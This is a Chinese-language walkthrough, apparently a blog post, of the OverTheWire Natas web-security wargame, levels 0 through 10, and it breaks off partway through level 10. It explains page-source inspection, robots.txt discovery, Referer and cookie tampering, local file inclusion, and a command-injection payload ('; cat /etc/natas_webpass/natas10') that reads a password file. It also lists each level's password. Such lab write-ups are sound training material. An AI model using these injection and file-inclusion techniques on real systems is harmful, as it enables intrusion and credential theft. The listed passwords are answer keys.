https://overthewire.org/wargames/natas/
natas前17关,待更新~
1.natas0
F12
gtVrDuiDfck831PqWsLEZy5gyDz1clto
2.natas1
F12
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
3.natas2
相似路径联想
F12,发现有一个图片的路径是/files/pixel.png,因此访问/files,可以看到除了pixel.png之外还有一个users.txt,访问users.txt得到通过密码
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
4.natas3
robots.txt
No more information leaks!! Not even Google will find it this time…这句话是给出了robots.txt的提示,robots.txt是网站用来与网络爬虫(如谷歌)和其他网络机器人通信的标准,该标准规定了通知网络机器人不应处理或扫描网站的哪些区域。
访问robots.txt,看到Disallow: /s3cr3t/,因此访问该路径,看到user.txt,得到通关密码
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
5.natas4
抓包修改Referer头
使网站认为访问是来自http://natas5.natas.labs.overthewire.org/
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
6.natas5
抓包将loggedin字段改成1
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
7.natas6
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
访问/includes/secret.inc,得到$secret = “FOEIUWGHFEEUHOFUOIU”;提交secret得到通关密码
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
8.natas7
有hint:
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
?page=/etc/natas_webpass/natas8
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
9.natas8
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
按顺序解密即可,写一段PHP
<?php
$secret = "3d3d516343746d4d6d6c315669563362";
echo base64_decode(strrev(hex2bin($secret)));
?>
得到oubWYf2kBq并提交
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
10.natas9
命令注入
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
根据输入的key值在dictionary.txt中进行检索,passthru函数用于执行命令,和exec函数比较相似,所以采用命令注入
; cat /etc/natas_webpass/natas10
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
11.natas10
一次grep多个文件
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru(